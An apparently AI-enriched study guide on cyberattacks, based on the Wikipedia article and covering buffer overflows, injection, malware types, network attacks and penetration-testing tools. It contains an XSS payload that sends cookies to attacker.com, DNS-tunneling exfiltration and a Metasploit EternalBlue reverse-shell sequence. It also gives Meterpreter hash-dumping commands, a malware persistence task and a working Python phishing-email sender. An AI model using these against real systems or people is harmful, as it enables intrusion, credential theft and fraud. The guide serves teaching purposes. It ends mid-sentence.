Cyberattack (Wikipedia Lab Guide)

Cyberattack: A Technical Deep Dive for Security Professionals
1) Introduction and Scope
This study guide provides a technically rigorous examination of cyberattacks, moving beyond general definitions to explore the underlying mechanisms, architectural vulnerabilities, and practical implications. Our scope encompasses the lifecycle of a cyberattack, from initial reconnaissance to post-exploitation activities, with a focus on the technical details that enable and defend against these threats. We will delve into the fundamental principles of information security, the architecture of vulnerable systems, and the specific techniques employed by attackers. This guide is intended for individuals seeking a comprehensive understanding of cyberattack methodologies and defensive strategies, including cybersecurity analysts, penetration testers, incident responders, and system administrators.
The core tenet of cyberattack analysis rests on understanding the compromise of the CIA Triad:
- Confidentiality: Preventing unauthorized disclosure of information. This involves protecting sensitive data from being accessed by unauthorized entities through encryption, access controls, and data loss prevention (DLP) mechanisms.
- Integrity: Ensuring information is accurate and has not been tampered with. This means maintaining the trustworthiness and correctness of data throughout its lifecycle, often achieved through hashing, digital signatures, and robust access control policies.
- Availability: Guaranteeing timely and reliable access to information and systems. This ensures that authorized users can access resources when needed without undue delay or interruption, protected by redundancy, load balancing, and denial-of-service (DoS) mitigation strategies.
2) Deep Technical Foundations
2.1) Vulnerability Taxonomy and Exploitation
Software and hardware are inherently complex, leading to the existence of vulnerabilities. These are flaws that can be leveraged by attackers to subvert intended system behavior. Understanding vulnerability types is crucial for effective defense.
Buffer Overflows: Occur when a program attempts to write more data to a fixed-size buffer than it can hold. This can overwrite adjacent memory regions, potentially corrupting critical data structures (like function pointers or return addresses on the stack) or executing arbitrary code injected by the attacker.
- Example (C): Stack-based Buffer Overflow
Technical Detail: On a typical x86-64 architecture, the stack frame for#include <stdio.h> #include <string.h> #include <stdlib.h> // For exit() void vulnerable_function(char *input) { char buffer[64]; // strcpy is inherently unsafe; strncpy or safer alternatives should be used. strcpy(buffer, input); // Potential overflow if input is > 63 bytes + null terminator printf("Buffer content: %s\n", buffer); } int main(int argc, char *argv[]) { if (argc > 1) { vulnerable_function(argv[1]); } else { printf("Usage: %s <input_string>\n", argv[0]); exit(1); } return 0; }vulnerable_functionmight look like this:
An attacker could provide an input string longer than 63 bytes. The excess bytes would overwrite the+--------------------+ <-- Higher memory addresses | ... | +--------------------+ | Saved RBP (Base Pointer) | +--------------------+ | Return Address | <-- Target for overflow +--------------------+ | buffer[63] | | ... | | buffer[0] | +--------------------+ <-- Lower memory addressesSaved RBPand then theReturn Address. By carefully crafting the input, an attacker can overwrite the return address with the address of shellcode (arbitrary code) they've also injected into thebufferor elsewhere in memory. Whenvulnerable_functionreturns, it will jump to the attacker-controlled address. Modern defenses like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP)/No-Execute (NX) bit make direct exploitation harder, often requiring techniques like Return-Oriented Programming (ROP) to chain together existing code snippets.
- Example (C): Stack-based Buffer Overflow
Format String Vulnerabilities: Occur when user-supplied input is directly used as a format string in functions like
printf,sprintf, orfprintf. Attackers can inject format specifiers (e.g.,%x,%s,%n) to read from or write to arbitrary memory locations.- Example (C): Format String Vulnerability
Technical Detail:#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if (argc > 1) { // Directly using argv[1] as the format string is dangerous. printf(argv[1]); printf("\n"); } else { printf("Usage: %s <format_string>\n", argv[0]); exit(1); } return 0; }%x: Dumps a value from the stack as a hexadecimal integer. An attacker can use multiple%xspecifiers to leak memory contents, including stack addresses or program data.%s: Reads a string from an address on the stack. If the attacker can place a pointer to a string in a controlled location on the stack (e.g., by manipulating arguments or previous stack data), they can leak its contents.%n: (Most Dangerous) Writes the number of bytes printed so far to the memory address pointed to by the corresponding argument on the stack. By controlling the number of bytes printed and the target address on the stack, an attacker can achieve arbitrary memory write. For example, an input like"AAAA%100x%n"would write4 + 100 = 104to the memory address pointed to by the fourth argument on the stack. This can be used to overwrite function pointers, return addresses, or other critical data to gain control of program execution.
- Example (C): Format String Vulnerability
Race Conditions: Occur when the outcome of a computation depends on the unpredictable timing of multiple threads or processes accessing shared resources. The "Time-of-check to time-of-use" (TOCTOU) is a classic example.
- Example (Pseudocode): TOCTOU
Technical Detail: Iffunction check_and_update_file(filepath, new_content): // Check phase: Verify file existence and writability if file_exists(filepath) and is_writable(filepath): // --- Critical Window --- // Attacker might replace the file with a symbolic link to a sensitive file // or a different file entirely between the check and the use phase. // --- End Critical Window --- file_handle = open(filepath, "w") // Use phase: Open the file for writing write(file_handle, new_content) close(file_handle) else: print("File does not exist or is not writable.")filepathinitially points to/tmp/user_data.txtwhich the user can write to, but an attacker replaces it with a symbolic link to/etc/shadowafter thefile_existsandis_writablechecks pass but beforeopenis called, thewriteoperation will then target/etc/shadow, potentially corrupting it or overwriting critical system data if the process has sufficient privileges. Secure coding practices involve using atomic operations or file locking mechanisms to prevent such race conditions.
- Example (Pseudocode): TOCTOU
Insecure Deserialization: When untrusted data is deserialized (converted from a byte stream back into an object), it can lead to arbitrary code execution if the deserialized object's constructor, initializer, or any invoked methods are malicious. Many serialization formats (like Java's
ObjectInputStream, Python'spickle, or .NET'sBinaryFormatter) are susceptible if not used with extreme caution and on trusted data sources. Attackers can craft malicious serialized objects that, upon deserialization, trigger code execution by calling known vulnerable methods (e.g.,Runtime.exec()in Java,__reduce__in Python's pickle).SQL Injection: Attackers insert malicious SQL code into input fields of web applications to manipulate database queries. This can lead to unauthorized data leakage, modification, deletion, or even command execution on the database server.
- Example (SQL Snippet):
Consider a login query:SELECT * FROM users WHERE username = 'user_input_username' AND password = 'user_input_password';
If an attacker provides' OR '1'='1as the username and anything as the password, the query becomes:TheSELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...';OR '1'='1'clause makes theWHEREcondition always true. The--comments out the rest of the original query, effectively bypassing authentication. Parameterized queries and prepared statements are the primary defense against SQL injection.
- Example (SQL Snippet):
Cross-Site Scripting (XSS): Attackers inject malicious scripts (typically JavaScript) into web pages viewed by other users. This can lead to session hijacking (stealing session cookies), credential theft, defacement, or redirecting users to malicious sites.
- Example (HTML/JavaScript - Stored XSS):
An attacker submits a comment on a forum containing:When another user views this comment, their browser executes the script, sending their<script> var img = new Image(); img.src = 'http://attacker.com/log?cookie=' + document.cookie; </script>document.cookie(which may contain session tokens) to the attacker's server. Input validation, output encoding, and Content Security Policy (CSP) are crucial defenses.
- Example (HTML/JavaScript - Stored XSS):
2.2) Malware Architectures and Functionality
Malware is the payload often delivered via exploits. Its design dictates its behavior, persistence, and evasion capabilities.
Rootkits: Designed to conceal their presence and other malicious activities from the operating system and security software. They can operate at user-mode, kernel-mode, or even firmware levels.
- Kernel-mode Rootkits: Operate with the highest privileges. They can intercept or hook critical operating system functions (System Calls, Interrupts, Driver Entry Points) to filter or modify information presented to user-space applications and security tools. For example, they might hook the
NtQueryDirectoryFile(Windows) orgetdents(Linux) system calls to hide specific files or processes from directory listings. This involves manipulating kernel data structures or redirecting function pointers.
- Kernel-mode Rootkits: Operate with the highest privileges. They can intercept or hook critical operating system functions (System Calls, Interrupts, Driver Entry Points) to filter or modify information presented to user-space applications and security tools. For example, they might hook the
Botnets: Networks of compromised computers (bots) controlled by a Command and Control (C2) server.
- C2 Communication Protocols: Often use HTTP/HTTPS for plausible deniability (blending with legitimate web traffic), DNS tunneling for covert communication (encoding data in DNS queries/responses), or custom TCP/UDP protocols for efficiency or specific control needs. Advanced C2 might use peer-to-peer (P2P) architectures to decentralize control and make takedowns more difficult.
- Botnet Command Structure:
Bots periodically "phone home" to the C2 server to check for instructions. The C2 server can then issue commands to individual bots or groups of bots for distributed denial-of-service (DDoS) attacks, spam campaigns, cryptocurrency mining, or data exfiltration.+-----------------+ +-----------------+ +-----------------+ | C2 Server |----->| Bot 1 (Comp.) |----->| Bot 2 (Comp.) | | (e.g., IRC, HTTP)| +-----------------+ +-----------------+ +-----------------+ | | ^ | | | v v +-----------------+ +-----------------+ +-----------------+ | Bot Master | | Bot 3 (Comp.) |----->| Bot N (Comp.) | +-----------------+ +-----------------+ +-----------------+
Ransomware: Encrypts data on compromised systems and demands payment (typically in cryptocurrency) for decryption keys. Modern ransomware often employs strong encryption algorithms (e.g., AES-256 for bulk data encryption, RSA-2048 or higher for key exchange) and sophisticated key management schemes.
- Encryption Process:
- Key Generation: A unique symmetric encryption key (e.g., AES-256) is generated for the session. This key is often randomized for each infection.
- Data Encryption: Target files are encrypted using this symmetric key. The ransomware may iterate through specific file extensions or target user-created files.
- Key Encryption: The symmetric key is then encrypted using a public key (e.g., RSA-2048) belonging to the attacker. This public key is typically embedded within the ransomware binary.
- Key Storage: The encrypted symmetric key is stored, often embedded within a ransom note file or appended to the encrypted files. This ensures that only the attacker, possessing the corresponding private key, can decrypt the symmetric key and subsequently the victim's data.
- Key Deletion: The original plaintext symmetric key is securely wiped from memory and potentially from disk to prevent recovery by forensic tools.
This two-key approach allows the attacker to decrypt files if payment is received (using their private RSA key) while ensuring that victims cannot decrypt their files without the attacker's key.
- Encryption Process:
Spyware/Keyloggers: Capture user activity, keystrokes, screenshots, clipboard contents, and sensitive data.
- Keylogging Techniques:
- Hooking Keyboard Input: Intercepting keyboard events at the OS level (e.g., using
SetWindowsHookExon Windows API, or hooking kernel-level drivers). This allows capturing keystrokes as they are processed by the system. - Polling Input Devices: Directly reading from input device drivers or USB HID (Human Interface Device) reports. This can be more stealthy than API hooking.
- Screen Scraping: Taking periodic screenshots or monitoring specific window contents to capture sensitive information displayed on the screen.
- Memory Scraping: Inspecting process memory for sensitive information (e.g., passwords in plaintext) that applications might temporarily store.
- Hooking Keyboard Input: Intercepting keyboard events at the OS level (e.g., using
- Keylogging Techniques:
2.3) Network Protocols and Attack Vectors
Network protocols are fundamental to communication and thus represent significant attack surfaces.
TCP/IP Suite:
- SYN Flood (Denial of Service): An attacker sends a flood of TCP SYN packets to a server, often with spoofed source IP addresses. The server allocates resources (e.g., memory for connection state in its Transmission Control Block - TCB) and sends a SYN-ACK packet back. It then waits for the client to send an ACK packet to complete the handshake. Since the source IPs are spoofed or non-existent, the ACK never arrives, leaving the connection in a "half-open" state and exhausting the server's connection table (often referred to as the SYN backlog queue).
- Packet Snippet (Simplified TCP Header):
An attacker would send thousands of such packets per second, overwhelming the server's ability to establish legitimate connections.IP Header: Source IP: <Spoofed IP> Destination IP: <Server IP> Protocol: TCP (0x06) TCP Header: Source Port: XXXX Destination Port: 80 (HTTP) Sequence Number: 12345 (Random) ACK Number: 0 Flags: SYN (0x02) <-- Crucial flag Window Size: YYYY Checksum: ...
- Packet Snippet (Simplified TCP Header):
- IP Spoofing: Attacker modifies the source IP address in IP packets to impersonate another host. This is essential for many DoS attacks (like SYN floods) and for bypassing IP-based access controls or making attacks appear to originate from a trusted source. It's important to note that IP spoofing is typically unidirectional; the attacker cannot receive responses directly unless they are on the same network segment as the target or using other techniques to capture return traffic.
- SYN Flood (Denial of Service): An attacker sends a flood of TCP SYN packets to a server, often with spoofed source IP addresses. The server allocates resources (e.g., memory for connection state in its Transmission Control Block - TCB) and sends a SYN-ACK packet back. It then waits for the client to send an ACK packet to complete the handshake. Since the source IPs are spoofed or non-existent, the ACK never arrives, leaving the connection in a "half-open" state and exhausting the server's connection table (often referred to as the SYN backlog queue).
DNS (Domain Name System):
- DNS Cache Poisoning: An attacker exploits vulnerabilities in DNS resolvers or servers to inject false DNS records into a resolver's cache. When legitimate users query the resolver for a domain, they receive the attacker's malicious IP address, redirecting them to a phishing site or malware distribution point. This often involves predicting transaction IDs (XIDs) and sending forged responses.
- DNS Tunneling: Encapsulating non-DNS data within DNS queries and responses. This allows attackers to exfiltrate data or establish covert C2 channels, often bypassing firewalls that permit DNS traffic.
- Example (DNS Query - Base64 encoded data):
An attacker might encode a small piece of data as a subdomain:echo "SECRET_DATA" | base64->U0VDUkVUX0RBVEE=
The query would be:U0VDUkVUX0RBVEE=.malicious.com
The attacker's DNS server would receive this query, decodeU0VDUkVUX0RBVEE=, and potentially respond with further encoded data or a C2 instruction. The TXT record type is often used for larger data transfers.
- Example (DNS Query - Base64 encoded data):
HTTP/HTTPS:
- Man-in-the-Middle (MITM) Attacks: An attacker intercepts and potentially alters communication between two parties.
- SSL Stripping: An attacker intercepts an HTTPS connection request and forces the client to connect via HTTP instead, while the attacker maintains an HTTPS connection to the server. The user sees an insecure HTTP connection and may not notice, especially if the website's UI is not carefully designed.
- Rogue Certificates: An attacker uses a fraudulent SSL/TLS certificate to impersonate a legitimate server, tricking the client into establishing a secure connection with the attacker. This often relies on users ignoring browser certificate warnings.
- HTTP Request Smuggling: Exploits inconsistencies in how front-end servers (like load balancers or reverse proxies) and back-end servers parse HTTP requests, particularly concerning the
Content-LengthandTransfer-Encodingheaders. This allows an attacker to "smuggle" a second, malicious request within the body of a legitimate one, which the back-end server might process independently. For example, if the front-end server usesContent-Lengthand the back-end server usesTransfer-Encoding, the smuggled request can be misinterpreted as the start of a new, legitimate request from another user.
- Man-in-the-Middle (MITM) Attacks: An attacker intercepts and potentially alters communication between two parties.
3) Internal Mechanics / Architecture Details
Understanding how systems are structured is key to identifying exploitable weaknesses.
3.1) Operating System Internals
Process Isolation and Memory Management: OS kernels use sophisticated mechanisms like virtual memory, page tables, memory protection bits (read/write/execute permissions), and Access Control Lists (ACLs) to isolate processes and protect critical kernel memory from user-space interference. Exploits often target flaws in these mechanisms, such as:
- Kernel Exploits: Vulnerabilities in the OS kernel itself that allow user-space code to gain kernel privileges. These can involve race conditions in kernel data structures, improper validation of user-supplied kernel parameters, or flaws in device driver handling.
- Privilege Escalation: Techniques used to elevate a user's privileges from a lower level to a higher level (e.g., from a standard user to administrator/root).
- Virtual Memory Layout (Simplified x86-64):
A stack buffer overflow can overwrite the return address on the stack, corrupting the control flow and allowing execution of injected shellcode. Heap overflows can corrupt heap metadata, leading to arbitrary writes or code execution when heap management functions (like+--------------------+ <-- Higher memory addresses (e.g., 0xFFFFFFFF...) | Kernel Space | (Protected, inaccessible to user-mode) | (Kernel Code, Data, Stack) | +--------------------+ | Stack | (grows downwards, local variables, return addresses) +--------------------+ | Heap | (grows upwards, dynamic memory allocation) +--------------------+ | Data Segment | (Global/static variables) +--------------------+ | Text Segment | (Program code, read-only, often with execute permissions) +--------------------+ <-- Lower memory addresses (e.g., 0x0000...)malloc,free) are called.
System Calls: The fundamental interface between user-space applications and the OS kernel. All privileged operations (file access, process creation, network socket operations) must go through system calls. Kernel-mode rootkits can intercept or modify these calls to hide malicious activities.
- Example (Linux
readsyscall signature):ssize_t read(int fd, void *buf, size_t count);
A rootkit might hook thesys_readsystem call (e.g., by modifying the system call table or using kernel modules). Whenreadis called, the hook would check if the file descriptorfdcorresponds to a file or process the rootkit wants to hide. If so, it might return0bytes read or an error code, effectively making the file invisible to the calling process.
- Example (Linux
Privilege Escalation: Techniques used to gain higher-level permissions on a system.
- Kernel Vulnerabilities: Exploiting bugs in the OS kernel to gain kernel-level privileges. This is often the most powerful form of privilege escalation.
- Misconfigured SUID/SGID Binaries (Linux/Unix): If a binary has the SUID (Set User ID) or SGID (Set Group ID) bit set and is owned by root (or a privileged group), it will execute with the owner's privileges. Exploiting vulnerabilities within such binaries (e.g., buffer overflows, command injection, insecure library loading) can grant root access.
- Weak File Permissions: Exploiting misconfigured file permissions that allow unauthorized users to modify critical system files or executables (e.g., modifying
/etc/passwdor/etc/shadowon Linux, or system DLLs on Windows). - Credential Reuse/Weak Passwords: Guessing or obtaining credentials for privileged accounts through phishing, brute-force attacks, or by exploiting other vulnerabilities.
Inter-Process Communication (IPC): Mechanisms like pipes, shared memory, message queues, sockets, and named pipes allow processes to communicate. If these mechanisms are not properly secured, attackers can inject data, eavesdrop, or manipulate communication channels. For example, if a sensitive application communicates over a named pipe that has weak ACLs, an attacker could inject malicious commands into the pipe.
3.2) Network Stack Internals
- Packet Filtering and Firewalls: Stateful firewalls track the state of active network connections (e.g., TCP connection states: SYN_SENT, ESTABLISHED). Attackers may attempt to bypass them using:
- IP Fragmentation Attacks: Splitting malicious packets into fragments that a firewall might reassemble incorrectly or fail to inspect properly. This can involve overlapping fragments or out-of-order fragments.
- Protocol Tunneling: Encapsulating malicious traffic within allowed protocols (e.g., DNS, ICMP). This makes it harder for firewalls to distinguish legitimate traffic from malicious traffic.
- Port Scanning with Evasion Techniques: Using techniques like Xmas scans (
-X), FIN scans (-F), or Null scans (-N) to probe ports without completing a full TCP handshake, which might evade simple stateful inspection that only looks for completed connections.
- Network Address Translation (NAT): While useful for conserving IP addresses and obscuring internal network structures, NAT can complicate security monitoring and incident response, as internal IP addresses are not directly visible on the external network. This can make it challenging to trace the origin of an attack originating from within a NATted network.
- Intrusion Detection/Prevention Systems (IDS/IPS): Analyze network traffic for malicious patterns using signature-based detection, anomaly detection, or behavioral analysis. Sophisticated attackers use evasion techniques such as:
- Polymorphic Malware: Malware code that changes its signature with each infection. This requires more advanced detection methods like behavioral analysis or machine learning.
- Encrypted C2 Traffic: Using TLS/SSL to encrypt command and control communications, making it difficult for IDS/IPS to inspect the payload. This necessitates TLS inspection capabilities on the IDS/IPS.
- Low-and-Slow Attacks: Spreading malicious activity over extended periods to avoid triggering volume-based anomaly detection. This requires sophisticated baselining and anomaly detection algorithms.
3.3) Application Architecture Vulnerabilities
Web Application Frameworks: Frameworks like Django, Ruby on Rails, Spring, and ASP.NET MVC provide abstractions that can simplify development but also introduce their own vulnerabilities if not used correctly (e.g., CSRF vulnerabilities, insecure direct object references, improper session management). Developers must understand the security implications of the framework's features and configurations.
API Security: Insecure APIs (REST, GraphQL, gRPC) are a major attack surface. Common issues include:
- Missing Authentication/Authorization: Allowing unauthorized access to resources or actions. This includes broken object-level authorization (BOLA) and broken function-level authorization (BFLA).
- Injection Vulnerabilities: Similar to SQL injection or command injection, but targeting API parameters. Examples include XML External Entity (XXE) injection, Server-Side Request Forgery (SSRF), and command injection through API parameters.
- Excessive Data Exposure: Returning more data than necessary in API responses, which can leak sensitive information.
- REST API Example (Vulnerable Endpoint):
GET /users/{userId}
IfuserIdis directly used in a file path lookup without proper sanitization or validation, an attacker might request/users/../../etc/passwdto read sensitive system files. A secure implementation would validateuserIdas a numeric ID and perform lookups against a database, not the filesystem.
Database Internals: Understanding database access controls, query optimization techniques, stored procedures, and replication mechanisms can reveal attack vectors. For instance, attackers might exploit vulnerabilities in stored procedures to execute arbitrary code on the database server or leverage SQL injection to extract sensitive data.
4) Practical Technical Examples
4.1) Reconnaissance and Enumeration
- Nmap (Network Mapper): A powerful tool for network discovery and security auditing.
- Example (Bash): Aggressive Scan for Open Ports and Service Versions
nmap -A -T4 -p 1-65535 192.168.1.0/24-A: Enables OS detection, version detection, script scanning, and traceroute.-T4: Sets the timing template to aggressive (faster, but potentially more noticeable and prone to errors on unstable networks).-p 1-65535: Scans all possible TCP ports.
- Example (Bash): UDP Scan
sudo nmap -sU -p 53,161,123 target.com-sU: Performs a UDP scan. UDP scanning is slower and less reliable than TCP scanning because UDP is connectionless, and responses are not guaranteed. Requires root privileges.-p 53,161,123: Common UDP ports for DNS, SNMP, and NTP.
- Example (Bash): Aggressive Scan for Open Ports and Service Versions
- DNS Enumeration:
- Example (Bash): DNS Zone Transfer Attempt
If the authoritative DNS serverdig axfr @ns1.example.com example.comns1.example.comis misconfigured to allow zone transfers (a common misconfiguration), this command will reveal all DNS records (A, MX, NS, TXT, CNAME, etc.) for theexample.comdomain, providing valuable information about the network infrastructure, including internal hostnames and IP addresses.
- Example (Bash): DNS Zone Transfer Attempt
- Web Application Enumeration:
- Gobuster: A tool for brute-forcing directories and files on web servers.
- Example (Bash): Directory Brute-Force
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt-u: Target URL.-w: Path to the wordlist.-x: File extensions to append to directories (e.g.,http://target.com/admin.php). This helps discover hidden administrative interfaces or sensitive files.
4.2) Exploitation and Payload Delivery
- Metasploit Framework: A widely used platform for developing, testing, and executing exploit code.
- Example (Metasploit Console - Exploiting SMB vulnerability MS17-010):
This sequence selects the EternalBlue exploit, configures the target and attacker IPs/ports, chooses a Meterpreter payload (a sophisticated post-exploitation shell), and then executes the exploit. Themsf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100 # Target IP msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50 # Attacker's IP msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444 # Attacker's listening port msf6 exploit(windows/smb/ms17_010_eternalblue) > exploitreverse_tcppayload means the compromised machine initiates the connection back to the attacker.
- Example (Metasploit Console - Exploiting SMB vulnerability MS17-010):
- Phishing Simulation:
- Example (Python - Basic Email Sender for Phishing):
This code illustrates how an attacker might craft a convincing phishing email, leveraging both plain text and HTML to maximize engagement and trick users into clicking malicious links. Theimport smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart sender_email = "support@legit-bank.com" # Spoofed sender receiver_email = "victim@example.com" # In a real scenario, attacker would use compromised credentials or a relay. # For demonstration, we'll use a placeholder. smtp_server = "smtp.untrusted-provider.com" smtp_port = 587 # Often 587 for TLS, 465 for SSL message = MIMEMultipart("alternative") message["Subject"] = "Urgent: Verify Your Account Information" message["From"] = sender_email message["To"] = receiver_email # Plaintext version text = """\ Dear Customer, We have detected unusual activity on your account. Please click the link below to verify your identity and secure your account. Failure to do so may result in account suspension. http://malicious-site.com/verify?session_id=abcdef123456 Thank you, Legit Bank Security Team """ # HTML version (more sophisticated, can contain fake login forms) html = """\ <html> <body> <p>Dear Customer,</p> <p>We have detected unusual activity on your account. Please click the link below to verify your identity and secure your account. Failure to do so may result in account suspension.</p> <p><a href="http://malicious-site.com/verify?session_id=abcdef123456">Verify Your Account Now</a></p> <p>Thank you,<br> Legit Bank Security Team</p> </body> </html> """ part1 = MIMEText(text, "plain") part2 = MIMEText(html, "html") message.attach(part1) message.attach(part2) try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.starttls() # Secure the connection # server.login(sender_email, "attacker_password") # If credentials are known/used server.sendmail(sender_email, receiver_email, message.as_string()) print("Phishing email sent successfully!") except Exception as e: print(f"Error sending email: {e}")session_idparameter is a common technique to make the link look more legitimate or to track victims.
- Example (Python - Basic Email Sender for Phishing):
4.3) Post-Exploitation and Persistence
- Meterpreter (Metasploit): A dynamic payload that provides an interactive command-and-control session with extensive post-exploitation capabilities.
- Example (Meterpreter Commands):
meterpreter > sysinfo # Output: OS: Windows 10 (10.0.19045) Architecture: x64 Language: en_US meterpreter > ps # Lists running processes with PID, parent PID, name, etc. meterpreter > migrate <pid> # Migrates the Meterpreter process to a more stable process (e.g., explorer.exe) # to avoid losing the connection if the original process crashes. This is a key persistence technique. meterpreter > getuid # Shows the current user context (e.g., NT AUTHORITY\SYSTEM). Higher privileges are crucial for many actions. meterpreter > hashdump # Dumps password hashes from the SAM database (requires SYSTEM privileges). # Example output: # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cf30f219653e6513502f17c77329::: # The hashes (e.g., LM and NTLM) can then be cracked offline using tools like Hashcat or John the Ripper. meterpreter > upload local_exploit.exe C:\Users\Public\exploit.exe # Uploads a local exploit to the compromised host, potentially for privilege escalation. meterpreter > download C:\Windows\System32\config\SAM sam_backup # Downloads a sensitive file (requires elevated privileges). This is a form of data exfiltration.
- Example (Meterpreter Commands):
- Persistence Techniques: Methods to ensure malware remains active on a compromised system even after reboots.
- Registry Run Keys (Windows): Malware adds entries to keys like:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run(runs for the current user upon logon)HKLM\Software\Microsoft\Windows\CurrentVersion\Run(runs for all users upon logon, requires admin privileges)
These keys specify executables to launch automatically when the user logs in or the system starts.
- Scheduled Tasks (Windows/Linux): Creating tasks that execute malware at specific times, intervals, or upon system events (e.g., system startup, user logon).
- Windows:
schtasks /create /tn "SystemUpdate" /tr "C:\path\to\malware.exe" /sc ONLOGON - Linux:
cronjobs orsystemdtimers. These are powerful mechanisms for ensuring long-term persistence.
- Windows:
- SSH Authorized Keys (Linux/Unix): An attacker adds their public SSH key to the
~/.ssh/authorized_keysfile of a compromised user account. This allows them to log in to the system via SSH without a password, providing direct command-line access. - DLL Hijacking: If an application loads a DLL from a directory where the attacker can place a malicious DLL with the same name, the malicious DLL will be executed with the application's privileges. This is particularly
- Registry Run Keys (Windows): Malware adds entries to keys like:
Source
- Wikipedia page: https://en.wikipedia.org/wiki/Cyberattack
- Wikipedia API endpoint: https://en.wikipedia.org/w/api.php
- AI enriched at: 2026-03-30T23:32:00.391Z
